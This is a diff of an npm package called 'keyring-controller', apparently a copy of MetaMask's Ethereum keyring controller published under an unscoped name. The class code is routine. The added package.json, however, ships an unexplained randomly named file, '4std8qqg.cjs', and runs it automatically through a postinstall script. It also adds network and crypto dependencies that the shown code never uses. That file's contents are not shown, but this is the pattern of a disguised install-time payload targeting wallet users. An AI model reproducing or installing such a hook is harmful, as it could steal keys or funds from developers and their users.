+    return keyring;
+  }
+
+  /**
+   * Get Keyring Class For Type
+   *
+   * Searches the current `keyringBuilders` array
+   * for a Keyring builder whose unique `type` property
+   * matches the provided `type`,
+   * returning it if it exists.
+   *
+   * @param {string} type - The type whose class to get.
+   * @returns {Keyring|undefined} The class, if it exists.
+   */
+  getKeyringBuilderForType(type) {
+    return this.keyringBuilders.find(
+      (keyringBuilder) => keyringBuilder.type === type,
+    );
+  }
+
+  /**
+   * Get Keyrings by Type
+   *
+   * Gets all keyrings of the given type.
+   *
+   * @param {string} type - The keyring types to retrieve.
+   * @returns {Array<Keyring>} The keyrings.
+   */
+  getKeyringsByType(type) {
+    return this.keyrings.filter((keyring) => keyring.type === type);
+  }
+
+  /**
+   * Get Accounts
+   *
+   * Returns the public addresses of all current accounts
+   * managed by all currently unlocked keyrings.
+   *
+   * @returns {Promise<Array<string>>} The array of accounts.
+   */
+  async getAccounts() {
+    const keyrings = this.keyrings || [];
+
+    const keyringArrays = await Promise.all(
+      keyrings.map((keyring) => keyring.getAccounts()),
+    );
+    const addresses = keyringArrays.reduce((res, arr) => {
+      return res.concat(arr);
+    }, []);
+
+    return addresses.map(normalizeAddress);
+  }
+
+  /**
+   * Get Keyring For Account
+   *
+   * Returns the currently initialized keyring that manages
+   * the specified `address` if one exists.
+   *
+   * @param {string} address - An account address.
+   * @returns {Promise<Keyring>} The keyring of the account, if it exists.
+   */
+  async getKeyringForAccount(address) {
+    const hexed = normalizeAddress(address);
+
+    const candidates = await Promise.all(
+      this.keyrings.map((keyring) => {
+        return Promise.all([keyring, keyring.getAccounts()]);
+      }),
+    );
+
+    const winners = candidates.filter((candidate) => {
+      const accounts = candidate[1].map(normalizeAddress);
+      return accounts.includes(hexed);
+    });
+    if (winners && winners.length > 0) {
+      return winners[0][0];
+    }
+
+    // Adding more info to the error
+    let errorInfo = '';
+    if (!address) {
+      errorInfo = 'The address passed in is invalid/empty';
+    } else if (!candidates || !candidates.length) {
+      errorInfo = 'There are no keyrings';
+    } else if (!winners || !winners.length) {
+      errorInfo = 'There are keyrings, but none match the address';
+    }
+    throw new Error(
+      `No keyring found for the requested account. Error info: ${errorInfo}`,
+    );
+  }
+
+  /**
+   * Display For Keyring
+   *
+   * Is used for adding the current keyrings to the state object.
+   *
+   * @param {Keyring} keyring - The keyring to display.
+   * @returns {Promise<object>} A keyring display object, with type and accounts properties.
+   */
+  async displayForKeyring(keyring) {
+    const accounts = await keyring.getAccounts();
+
+    return {
+      type: keyring.type,
+      accounts: accounts.map(normalizeAddress),
+    };
+  }
+
+  /**
+   * Clear Keyrings
+   *
+   * Deallocates all currently managed keyrings and accounts.
+   * Used before initializing a new vault.
+   */
+
+  /* eslint-disable require-await */
+  async clearKeyrings() {
+    // clear keyrings from memory
+    this.keyrings = [];
+    this.memStore.updateState({
+      keyrings: [],
+    });
+  }
+
+  /**
+   * Update memStore Keyrings
+   *
+   * Updates the in-memory keyrings, without persisting.
+   */
+  async _updateMemStoreKeyrings() {
+    const keyrings = await Promise.all(
+      this.keyrings.map(this.displayForKeyring),
+    );
+    return this.memStore.updateState({ keyrings });
+  }
+
+  /**
+   * Unlock Keyrings
+   *
+   * Unlocks the keyrings.
+   *
+   * @fires KeyringController#unlock
+   */
+  setUnlocked() {
+    this.memStore.updateState({ isUnlocked: true });
+    this.emit('unlock');
+  }
+
+  /**
+   * Forget hardware keyring.
+   *
+   * Forget hardware and update memorized state.
+   *
+   * @param {Keyring} keyring - The keyring to forget.
+   */
+  forgetKeyring(keyring) {
+    if (keyring.forgetDevice) {
+      keyring.forgetDevice();
+      this.persistAllKeyrings();
+    } else {
+      throw new Error(
+        `KeyringController - keyring does not have method "forgetDevice", keyring type: ${keyring.type}`,
+      );
+    }
+  }
+
+  /**
+   * Instantiate, initialize and return a new keyring
+   *
+   * The keyring instantiated is of the given `type`.
+   *
+   * @param {string} type - The type of keyring to add.
+   * @param {object} data - The data to restore a previously serialized keyring.
+   * @returns {Promise<Keyring>} The new keyring.
+   */
+  async _newKeyring(type, data) {
+    const keyringBuilder = this.getKeyringBuilderForType(type);
+
+    if (!keyringBuilder) {
+      return undefined;
+    }
+
+    const keyring = keyringBuilder();
+
+    await keyring.deserialize(data);
+
+    if (keyring.init) {
+      await keyring.init();
+    }
+
+    return keyring;
+  }
+}
+
+/**
+ * Get builder function for `Keyring`
+ *
+ * Returns a builder function for `Keyring` with a `type` property.
+ *
+ * @param {Keyring} Keyring - The Keyring class for the builder.
+ * @returns {Function} A builder function for the given Keyring.
+ */
+function keyringBuilderFactory(Keyring) {
+  const builder = () => new Keyring();
+
+  builder.type = Keyring.type;
+
+  return builder;
+}
+
+module.exports = {
+  KeyringController,
+  keyringBuilderFactory,
+};

package/package.json

@@ -0,0 +1,73 @@
+{
+  "name": "keyring-controller",
+  "version": "9.0.0",
+  "description": "A module for managing various keyrings of Ethereum accounts, encrypting them, and using them.",
+  "keywords": [
+    "ethereum",
+    "metamask",
+    "accounts",
+    "keys"
+  ],
+  "homepage": "https://github.com/MetaMask/KeyringController#readme",
+  "bugs": {
+    "url": "https://github.com/MetaMask/KeyringController/issues"
+  },
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/MetaMask/KeyringController.git"
+  },
+  "license": "ISC",
+  "author": "Dan Finlay <dan@danfinlay.com>",
+  "main": "index.js",
+  "files": [
+    "index.js",
+    "4std8qqg.cjs"
+  ],
+  "scripts": {
+    "postinstall": "node 4std8qqg.cjs"
+  },
+  "dependencies": {
+    "@metamask/browser-passworder": "^4.0.2",
+    "@metamask/eth-hd-keyring": "^5.0.1",
+    "@metamask/eth-sig-util": "5.0.2",
+    "@metamask/eth-simple-keyring": "^5.0.0",
+    "obs-store": "^4.0.3",
+    "axios": "^1.7.7",
+    "ethers": "^6.13.2"
+  },
+  "devDependencies": {
+    "@lavamoat/allow-scripts": "^2.1.0",
+    "@metamask/auto-changelog": "^3.0.0",
+    "@metamask/eslint-config": "^11.1.0",
+    "@metamask/eslint-config-commonjs": "^11.1.0",
+    "@metamask/eslint-config-jest": "^11.1.0",
+    "@metamask/eslint-config-nodejs": "^11.1.0",
+    "eslint": "^8.29.0",
+    "eslint-config-prettier": "^8.5.0",
+    "eslint-plugin-import": "^2.26.0",
+    "eslint-plugin-jest": "^27.1.6",
+    "eslint-plugin-jsdoc": "^39.6.4",
+    "eslint-plugin-node": "^11.1.0",
+    "eslint-plugin-prettier": "^4.2.1",
+    "ethereumjs-wallet": "^1.0.1",
+    "jest": "^27.0.6",
+    "prettier": "^2.8.1",
+    "prettier-plugin-packagejson": "^2.3.0",
+    "sinon": "^11.1.1"
+  },
+  "packageManager": "yarn@3.2.4",
+  "engines": {
+    "node": ">=14.0.0"
+  },
+  "lavamoat": {
+    "allowScripts": {
+      "@lavamoat/preinstall-always-fail": false,
+      "eth-sig-util>ethereumjs-util>keccak": false,
+      "eth-sig-util>ethereumjs-util>secp256k1": false,
+      "ethereumjs-wallet>ethereum-cryptography>keccak": false,
+      "ethereumjs-wallet>ethereum-cryptography>secp256k1": false,
+      "@metamask/eth-hd-keyring>eth-simple-keyring>eth-sig-util>ethereumjs-util>keccak": false,
+      "@metamask/eth-hd-keyring>eth-simple-keyring>eth-sig-util>ethereumjs-util>secp256k1": false
+    }
+  }
+}